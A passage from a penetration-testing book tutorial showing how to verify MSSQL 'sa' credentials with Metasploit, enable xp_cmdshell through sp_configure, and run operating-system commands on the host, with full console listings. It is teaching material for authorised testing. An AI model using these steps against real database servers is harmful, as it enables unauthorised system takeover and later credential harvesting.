From The Art of Network Penetration Testing by Royce Davis

Take 37% off The Art of Network Penetration Testing by entering fccdavisr into the discount code box at checkout at

To make use of a Microsoft SQL server as a means to gain remote access to a target host, you first have to obtain a valid set of credentials for the database server. Let’s imagine that you’re going to do a penetration test for a firm called Capsulecorp and have a valid set of credentials for an sa account on, and the password for said account: Password1. Let’s quickly double-check those credentials before attacking this database server with the mssql_login auxiliary module in Metasploit.

PRO TIP  If you don’t have well-organized engagement notes, then you’re doing this all wrong. The process of penetration testing is heavily layered and phases (and sub-phases) build off on each other. This type of work can’t be done without taking copious notes. If you’re productive using Markdown, then I highly recommend something like Typora. If you’re one of those super-organized people that likes to break projects down into categories and sub-categories with tags and color coordination, then you’ll be more comfortable with something like Evernote.

Fire up the msfconsole and load up the mssql_login module with use auxiliary/scanner/mssql/mssql_login then specify the IP address of the target MSSQL server with set rhosts Set the username and password, respectively, with set username sa and set password Password1. When you’re ready you can launch the module with the run command. The output line prefaced with [+] is an indication of a valid login to the MSSQL server.

Listing 1. Verifying the MSSQL credentials are valid

 msf5 > use auxiliary/scanner/mssql/mssql_login     #A                                                                                                                  
 msf5 auxiliary(scanner/mssql/mssql_login) >
 msf5 auxiliary(scanner/mssql/mssql_login) > set rhosts #B
 rhosts =>
 msf5 auxiliary(scanner/mssql/mssql_login) > set username sa #C
 username => sa
 msf5 auxiliary(scanner/mssql/mssql_login) > set password Password1 #D
 password => Password1
 msf5 auxiliary(scanner/mssql/mssql_login) > run
 [*]      - - MSSQL - Starting authentication scanner.
 [+]      - - Login Successful: WORKSTATION\sa:Password1 #E
 [*]      - Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
 msf5 auxiliary(scanner/mssql/mssql_login) >

#A Load the mssql_login module

#B Set the target IP address of the MSSQL server

#C Specify the username

#D Specify the password

#E The credentials are valid

WHY rhosts instead of rhost  The auxiliary scanner modules in Metasploit take in the RHOSTS variable. This variable can be set to either a range of IP addresses, such as, a single IP address like we’re using in the example; or the path to a file containing one or more IP addresses or IP address ranges each on their own line file:/home/pentest/ips.txt.

Now that a valid set of database credentials have been identified, there are two main attack vectors that you might want to try while conducting your penetration test. This first is to enumerate the database using raw SQL statements to see what it contains and whether you (as an attacker) can obtain any sensitive information from the database tables. Sensitive information might include the following:

  • Usernames
  • Passwords
  • Personally, Identifiable Information (PII)
  • Financial information
  • Network diagrams

Whether you chose to go down this route is completely dependent on your engagement scope and your attack objectives. For the sake of the Capsulecorp engagement we’re more interested in the second attack vector, which is to try and gain control of the host-level operating system that the database server is listening on. Because this is a Microsoft SQL server, we need only look to the xp_cmdshell stored procedure to accomplish our goal of running operating system commands and ultimately taking control of this system. It’s helpful to first have a modest understanding of stored procedures and how they work.

MSSQL stored procedures

Think of stored procedures like you would think of methods or functions in computer programming. If I’m a database administrator and my day-to-day operations involve running complex SQL queries then I probably want to store some of those queries into some kind of function or method which I can run over and over again by calling the name of the function rather than typing out the whole query each time I want to use it.

In MSSQL speak, these functions or methods are called stored procedures. As luck would have it, MSSQL comes with a helpful set of pre-made stored procedures called system stored procedures, which are intended to enhance the capabilities of MSSQL and in some cases allow you to interact with the host-level operating system. (If you’re interested in learning more about system stored procedures check out the docs page on Microsoft’s website.

One particular system stored procedure, xp_cmdshell, takes an operating system command as an argument, runs the command within the context of the user account which is running the MSSQL server, and then displays the output of the command in a raw SQL response. Due to the abuse of this stored procedure by hackers (and penetration testers) over the years, Microsoft has opted to disable it by default. You can check to see if it’s enabled on your target server using the mssql_enum metasploit module.

Enumerating MSSQL servers with metasploit

Inside the msfconsole, switch from the mssql_login module to the mssql_enum module with use auxiliary/scanner/mssql/mssql_enum and specify the rhosts, username and password variables as you did previously. Run the module to see information about the server’s configuration. Toward the top of module output, you can see the results for xp_cmdshell. In our case, this stored procedure isn’t enabled and can’t be used to execute operating system commands.

Listing 2. Checking if xp_cmdshell is enabled on the MSSQL server

 msf5 auxiliary(scanner/mssql/mssql_login) > use auxiliary/admin/mssql/mssql_enum
 msf5 auxiliary(admin/mssql/mssql_enum) > set rhosts
 rhosts =>
 msf5 auxiliary(admin/mssql/mssql_enum) > set username sa
 username => sa
 msf5 auxiliary(admin/mssql/mssql_enum) > set password Password1
 password => Password1
 msf5 auxiliary(admin/mssql/mssql_enum) > run
 [*] Running module against
 [*] - Running MS SQL Server Enumeration...
 [*] - Version:
 [*]     Microsoft SQL Server 2014 (SP3) (KB4022619) - 12.0.6024.0 (X64)
 [*]             Sep  7 2018 01:37:51
 [*]             Copyright (c) Microsoft Corporation
 [*]             Enterprise Evaluation Edition (64-bit) on Windows NT 6.3 <X64> (Build 14393: ) (Hypervisor)
 [*] - Configuration Parameters:
 [*] -  C2 Audit Mode is Not Enabled
 [*] -  xp_cmdshell is Not Enabled  #A
 [*] -  remote access is Enabled
 [*] -  allow updates is Not Enabled
 [*] -  Database Mail XPs is Not Enabled
 [*] -  Ole Automation Procedures are Not Enabled
 [*] - Databases on the server:
 [*] -  Database name:master
 [*] -  Database Files for master:
 [*] -          C:\Program Files\Microsoft SQL
 [*] -          C:\Program Files\Microsoft SQL
 [*] -  sp_replincrementlsn
 [*] - Instances found on this server:
 [*] - Default Server Instance SQL Server Service is running under the privilege of:
 [*] -  NT Service\MSSQLSERVER
 [*] Auxiliary module execution completed
 msf5 auxiliary(admin/mssql/mssql_enum) >

#A xp_cmdshell isn’t currently enabled

The mssql_exec Metasploit module  This module checks to see if xp_cmdshell is enabled and if it isn’t, enables it for you automatically. This is super cool, but I want you to understand how to do it yourself. You might one day find yourself accessing an MSSQL server indirectly by taking advantage of an SQL-Injection vulnerability, which is another topic for another article. In that case though, it’s easier to manually enable xp_cmdshell, and that’s what you’re going to learn how to do next.

Enabling xp_cmdshell

Even if the xp_cmdshell stored procedure is disabled, as long as you have the sa account (or some other account with administrator access to the database server) you can enable it with a couple of MSSQL commands. One of the easiest ways to accomplish this is to use an MSSQL client to connect directly to the database server and issue the commands one by one. A fantastic command line interface (CLI) is called mssql-cli, which is written in Python and can be installed using pip install mssql-cli.

Listing 3. Installing mssql-cli with pip

 ~$ pip install mssql-cli  #A
 Collecting mssql-cli
   Using cached
 Requirement already satisfied: sqlparse<0.3.0,>=0.2.2 in /usr/local/lib/python2.7/dist-packages (from mssql-cli) (0.2.4)
 Collecting configobj>=5.0.6 (from mssql-cli)
 Requirement already satisfied: enum34>=1.1.6 in ./.local/lib/python2.7/site-packages (from mssql-cli) (1.1.6)
 Collecting applicationinsights>=0.11.1 (from mssql-cli)
   Using cached
 .... [OUTPUT TRIMMED] ....
 Collecting backports.csv>=1.0.0 (from cli-helpers<1.0.0,>=0.2.3->mssql-cli)
   Using cached
 Installing collected packages: configobj, applicationinsights, Pygments, humanize, wcwidth, prompt-toolkit, terminaltables, backports.csv, cli-helpers, mssql-cli
 Successfully installed Pygments-2.4.2 applicationinsights-0.11.9 backports.csv-1.0.7 cli-helpers-0.2.3 configobj-5.0.6 humanize-0.5.1 mssql-cli-0.16.0 prompt-toolkit-2.0.9 terminaltables-3.1.0 wcwidth-0.1.7

#A Install mssql-cli using pip

You can find additional documentation about this project on the GitHub page Once you’ve installed it, you can connect directly to the target MSSQL server using the command mssql-cli -S -U sa and then enter the sa password at the prompt.

Listing 4. Connecting to the database using mssql-cli

 mssql-cli -S -U sa
 By default, mssql-cli collects usage data in order to improve your experience.
 The data is anonymous and does not include commandline argument values.
 The data is collected by Microsoft.
 Disable telemetry collection by setting environment variable MSSQL_CLI_TELEMETRY_OPTOUT to 'True' or '1'.
 Microsoft Privacy statement:
 Version: 0.16.0
 Mail: [email protected]

After typing the command to connect to the MSSQL server you’re greeted with a prompt that accepts valid SQL syntax as if you were sitting in front of the database administrator console on the server. The xp_cmdshell stored procedure is considered by the MSSQL server to be an advanced option. This means that to configure the stored procedure, you first need to enable advanced options by issuing the command sp_configure ‘show advanced options’, ‘1’. Before this update will take effect, you’ll need to reconfigure the MSSQL server with the RECONFIGURE command.

Listing 5. Enabling advanced options

 master> sp_configure 'show advanced options', '1'  #A                                                                                                        
 Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
 Time: 0.256s
 master> RECONFIGURE  #B                                                                                                                                     
 Commands completed successfully.
 Time: 0.258s

#A set a 1 to the value for the show advanced options setting

#B reconfigure the database server with this new setting

Engagement note  Record this in your engagement notes. This is a configuration change. You need to reverse this change during post-engagement cleanup.

Now that advanced options have been enabled you can turn on the xp_cmdshell stored procedure by running the command sp_configure ‘xp_cmdshell’, ‘1’ in your mssql-cli prompt. You need to issue the RECONFIGURE command a second time for this change to take effect as well.

Listing 6. Enabling xp_cmdshell

 master> sp_configure 'xp_cmdshell', '1'  #A                                                                                                              
 Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
 Time: 0.253s
 master> RECONFIGURE  #B                                                                                                                                        
 Commands completed successfully.
 Time: 0.253s

#A Enable the xp_cmdshell stored procedure

#B reconfigure the database server

What about a graphical option? If you find the idea of living inside a terminal prompt for forty hours a little bit intimidating, I don’t blame you, though I encourage you to stick with it until it becomes comfortable. That said, many people prefer a graphical user interface (GUI)-based method and I won’t hold that against you if you do as well. Check out the DBeaver project at, which contains a Debian package you can install on your Ubuntu VM.

Running operating system commands with xp_cmdshell

Now your target MSSQL server can be used as a means to run operating system commands on the system that’s hosting the database server. This level of access is another example of a non-interactive shell. You can’t use interactive commands which require you to respond to a prompt, but you can execute one-line commands by making a call to the master..xp_cmdshell stored procedure and passing in your operating system command as a string parameter.

exec statement  The exec statement requires the full absolute path to a stored procedure.  Because the xp_cmdshell stored procedure is stored within the master database you’ll have to call the method with master..xp_cmdshell to execute the stored procedure.

As always, one of your first concerns as a penetration tester is to determine what level of access you have on a compromised system—which is, what permission level the database server is running as. To see the context for running these commands, as you can issue the whoami command, as follows:

 master> exec master..xp_cmdshell 'whoami'

In this example, the database server is running with the permissions of the mssqlserver service, as evidenced in the following output:

 | output                 |
 | nt service\mssqlserver | #B
 | NULL                   |
 (2 rows affected)
 Time: 0.462s

Listing 7. Identifying local administrators

 master> exec master..xp_cmdshell 'net localgroup administrators'                                                                                        
 | output                                                                 |
 | Alias name     administrators                                          |
 | Comment        Administrators have complete and unrestricted access    |
 | NULL                                                                   |
 | Members                                                                |
 | NULL                                                                   |
 | -----------------------------------------------------------            |
 | Administrator                                                          |
 | CAPSULECORP\Domain Admins                                              |
 | CAPSULECORP\gohanadm                                                   |
 | NT Service\MSSQLSERVER        #A                                       |
 | The command completed successfully.                                    |
 | NULL                                                                   |
 | NULL                                                                   |
 (13 rows affected)
 Time: 1.173s (a second)

#A The MSSQL service account has admin rights on the Windows machine

NOTE  At this point you could leverage this access to execute the Sticky Keys backdoor from the previous chapter if you wanted to elevate to an interactive shell. I would like to note though, that for the sake of compromising this target, elevating to an interactive shell is purely a matter of preference and is not a requirement.

The next step you would want to take is harvesting Windows password hashes from compromised machines. Later in the book, when we start talking about privilege escalation and lateral movement, you’re going to learn all about the mighty Pass-the-Hash technique and how attackers and penetration testers are able to use it to move laterally from one vulnerable host to many due to shared local administrator account credentials across multiple systems on an enterprise network.

Assuming this was a real penetration test and you found nothing of interest in the database tables and didn’t uncover any valuable secrets from browsing the filesystem, at the very least you should capture the local user account password hashes from this system. This, however, is where we’re going to stop this article.

Check out the book on our browser-based liveBook platform here to see more of its contents.